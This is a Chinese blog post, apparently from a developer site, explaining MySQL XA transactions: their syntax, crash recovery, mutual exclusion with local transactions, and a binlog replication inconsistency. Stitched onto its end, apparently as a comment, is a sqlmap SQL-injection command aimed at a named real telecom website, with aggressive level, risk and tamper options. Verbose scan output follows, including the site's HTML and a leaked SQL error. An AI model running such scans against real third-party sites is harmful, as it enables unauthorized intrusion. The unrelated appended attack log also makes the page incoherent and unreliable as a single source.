MySQL XA 事务支持调研

本文详细解析了MySQL XA事务的语法、恢复机制及使用限制,包括如何在不同场景下正确地使用XA事务,以及可能出现的问题与解决策略。重点强调了在分布式事务管理中的关键点,帮助开发者更好地理解和应用XA事务。
准备往DBScale中添加分布式事务支持,最合适的方案是使用XA事务。
以下是关于mysql xa事务的调研:

1. mysql xa事务的语法
主要有:
XA START 'any_unique_id';  // 'any_unique_id' 是用户给的,全局唯一
在一台mysql中开启一个XA事务

XA END 'any_unique_id ';
标识XA事务的操作结束
 
XA PREPARE 'any_unique_id';
告知mysql 准备提交这个xa事务

XA COMMIT 'any_unique_id';
告知mysql提交这个xa事务

XA ROLLBACK 'any_unique_id';
告知mysql回滚这个xa事务

XA RECOVER;
查看本机mysql目前有哪些xa事务处于prepare状态

2. XA事务恢复
如果执行分布式事务的mysql crash了,mysql 按照如下逻辑进行恢复:
a. 如果这个xa事务commit了,那么什么也不用做
b. 如果这个xa事务还没有prepare,那么直接回滚它
c. 如果这个xa事务prepare了,还没commit, 那么把它恢复到prepare的状态,由用户去决定commit或rollback
当mysql crash后重新启动之后,执行“XA RECOVER;”查看当前处于prepare状态的xa事务,然后commit或rollback它们。

3. 使用限制
a. XA事务和本地事务以及锁表操作是互斥的
开启了xa事务就无法使用本地事务和锁表操作
mysql> xa start 't1xa';
Query OK, 0 rows affected (0.04 sec)

mysql> begin;
ERROR 1399 (XAE07): XAER_RMFAIL: The command cannot be executed when global transaction is in the  ACTIVE state

mysql> lock table t1 read;
ERROR 1399 (XAE07): XAER_RMFAIL: The command cannot be executed when global transaction is in the  ACTIVE state

开启了本地事务就无法使用xa事务
mysql> begin;
Query OK, 0 rows affected (0.00 sec)

mysql> xa start 'rrrr';
ERROR 1400 (XAE09): XAER_OUTSIDE: Some work is done outside global transaction

b. xa start 之后必须xa end, 否则不能执行xa commit 和xa rollback
所以如果在执行xa事务过程中有语句出错了,你也需要先xa end一下,然后才能xarollback。

4. 注意事项

a. mysql只是提供了xa事务的接口,分布式事务中的mysql实例之间是互相独立的不感知的。 所以用户必须
自己实现分布式事务的调度器
b. xa事务有一些使用上的bug, 参考http://www.mysqlops.com/2012/02/24/mysql-xa-optimize.html
主要是
MySQL数据库的主备数据库的同步,通过Binlog的复制完成。而Binlog是MySQL数据库内部XA事务的协调者,并且MySQL数据库为binlog做了优化——binlog不写prepare日志,只写commit日志。
所有的参与节点prepare完成,在进行xa commit前crash。crash recover如果选择commit此事务。由于binlog在prepare阶段未写,因此主库中看来,此分布式事务最终提交了,但是此事务的操作并未 写到binlog中,因此也就未能成功复制到备库,从而导致主备库数据不一致的情况出现。
而crash recover如果选rollback, 那么就会出现全局不一致(
该分布式事务对应的节点,部分已经提交,无法回滚,而部分节点回滚。最终导致同一分布式事务,在各参与节点,最终状态不一致

参考的那篇blog中给出的办法是修改mysql代码,这个无法在DBScale中使用。 所以可选的替代方案是不使用
主从复制进行备份,而是直接使用xa事务实现同步写来作为备份。

转载请注明出自高孝鑫的博客

sqlmap -u "https://www.skylinetele.com/ua/site/domains.php/1'" --random-agent --level=4 --risk=3 --dbs --parse-errors -v 6 --force-ssl --tamper=space2comment,charencode --delay= sqlmap identified the database as MySQL 13:29:08] [WARNING] parsed DBMS error message: 'Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1' [13:29:08] [TRAFFIC IN] HTTP response [#11195] (200 OK): Date: Tue, 19 Aug 2025 03:29:07 GMT Server: Apache/2.2.22 (Debian) X-Powered-By: PHP/5.6.40-1~dotdeb+7.1 Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 2401 Connection: close Content-Type: text/html; charset=UTF-8 URI: https://www.skylinetele.com/ua/site/domains.php/1' <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="copyright" content="\xa9 Skyline telecom 2012"> <meta name="keywords" content="интернет, телефония, хостинг, одесса, sip, сервера, передача данных"> <title>Скайлайн Телеком</title> <link rel="shortcut icon" href="https://skylinetele.com/favicon.ico"> <link rel="stylesheet" href="/styles.css" type="text/css"> <script src="/ckeditor/ckeditor.js"></script> <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script> <script type="text/javascript"> $(document).ready(function(){ $('.spoiler_links').click(function(){ $(this).parent().children('div.spoiler_body').toggle('normal'); return false; }); }); </script> </head> <body bgcolor=#ffffff text=#000000 link=#000000 vlink=#000000 alink=#000000 leftmargin=15 topmargin=15 marginheight=15 marginwidth=15> <map name="hm"> <area shape="rect" coords="1,1,26,23" href="https://www.skylinetele.com" alt="Home" title="На головну"> <area shape="rect" coords="32,1,58,23" href="mailto:support@skylinetele.com" alt="Mail" title="Написати лист"> </map> <table align=left border=0 cellspacing=0 cellpadding=3 width=970 height=100% bgcolor=#ffffff id=ten> <tr> <td colspan=2 align=left valign=center height=120> <div style="float: right;"><b> <a href="https://skylinetele.com/ua" title="ua"><font color=#FF6600>ua</font></a> <font color=#FF6600>&nbsp|&nbsp</font> <a href="https://skylinetele.com/ru" title="ru"><font color=#FF6600>ru</font></a> &nbsp&nbsp&nbsp&nbsp <a href="https://stat.skylinetele.com" title="Для зареєстрованих користувачів"><font color=#FF6600>Вхід ↵</font></a></b>&nbsp</div> <div style="float: left;">&nbsp<img src="/img/hm.png" border="0" usemap="#hm"></div> <div style="float: left; width: 100%;"> <object type="application/x-shockwave-flash" data="https://skylinetele.com/img/logo.swf" width="400" height="74"> <param name="movie" value="https://skylinetele.com/img/logo.swf" /> <param name="menu" value="false" /> <img src="/img/st-logo-hor-eng-small.jpg" width="400" height="74" alt="Скайлайн Телеком" /> </object> </div> <div style="clear: both"></div> </td> </tr> <tr> <td width=200 valign=top> <table bgcolor="#FF6600" border="0" cellpadding="2" cellspacing="1" style="width:100%"> <tbody> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/">Новини</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/contract.html">Умови обслуговування</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/services.shtml">Інтернет та передача даних</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/ll_tarif.shtml">Виділені лінії</a><br /> <a href="/ua/site/transport.shtml">Передача даних</a><br /> <a href="/ua/site/wifi.shtml">Бездротовий зв'язок</a><br /> <a href="/ua/site/tarif.shtml">Додаткові послуги</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/tele1.shtml">Телефонія </a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/virtual_attendant.shtml"><span style="color:#F00E0E">Віртуальний секретар</span></a><br /> <a href="/ua/site/dostupniy-mir.shtml">Послуга "Доступний Світ"</a><br /> <a href="/ua/site/tele2.shtml">PRI-потік</a><br /> <a href="/ua/site/tele3.shtml">SIP</a><br /> <a href="/ua/site/tele4.shtml">Традиційна телефонія</a><br /> <a href="/ua/site/state.shtml">Як дізнатися про стан рахунку</a><br /> <!--<a href="/ua/site/popolnenie.shtml">Як поповнити рахунок</a><br />--> <a href="https://stat.skylinetele.com/bin/phcard" target="_blank"><strong>Поповнення рахунку</strong></a><br /> <a href="https://stat.skylinetele.com" target="_blank">Вхід для абонентів</a><br /> <a href="https://skylinetele.com/ua/site/quality-of-telecommunication-services.shtml">Якість телекомунікаційних послуг</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="https://skylinetele.com/ua/site/hosting.shtml">Хостинг та доменні імена</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://www.host24.ua/hosting" target="_blank">Віртуальний хостинг</a><br /> <a href="https://www.host24.ua/colocation" target="_blank">Розміщення серверів</a><br /> <a href="/ua/site/domains.php">Реєстрація доменів</a><br /> <a href="/ua/site/document.php">Документація</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/users.shtml">Користувачі</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"><a href="https://stat.skylinetele.com" target="_blank">Вхід для користувачів</a></td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/help.shtml">Допомога</a></strong></td> </tr> <tr> <td bgcolor="#ffffff"> <p><a href="/ua/site/faq.shtml">Відповіді на запитання</a><br /> <a href="/ua/site/cards.shtml">Картки SkyCard</a><br /> <a href="/ua/site/shops.shtml">Де придбати картки</a></p> </td> </tr> <tr> <td bgcolor="#ffffff"><strong><a href="/ua/site/requisites.shtml">Контакти та реквізити</a></strong></td> </tr> </tbody> </table> <table width="100%"> <tbody> <tr> <td align="center" width="50%"><img alt="Mastercard" border="0" hspace="5" src="/img/mastercard.svg" vspace="5" width="50" /></td> <td align="center" width="50%"><img alt="Visa" border="0" hspace="5" src="/img/visa.svg" vspace="5" width="50" /></td> </tr> </tbody> </table> <table style="width:100%"> <tbody> <tr> <td colspan="2">ТОВ "Компанія "Скайлайн Телеком"</td> </tr> <tr> <td colspan="2">E-mail: <a href="mailto:support@skylinetele.com">support@skylinetele.com</a></td> </tr> <tr> <td colspan="2">телефон: +380 48 7972115</td> </tr> <tr> <td colspan="2">факс: +380 48 7972115</td> </tr> </tbody> </table> <p>\xa0</p> </td> <td valign=top width=770> <table border=0 cellspacing=1 cellpadding=2 width=100% bgcolor=#FF6600 id=ten> Invalid query :'SELECT * FROM site WHERE url='1'';' You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1 [13:29:08] [WARNING] parameter 'Referer' does not seem to be injectable [13:29:08] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. As heuristic test turned out positive you are strongly advised to continue on with the tests
08-20
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值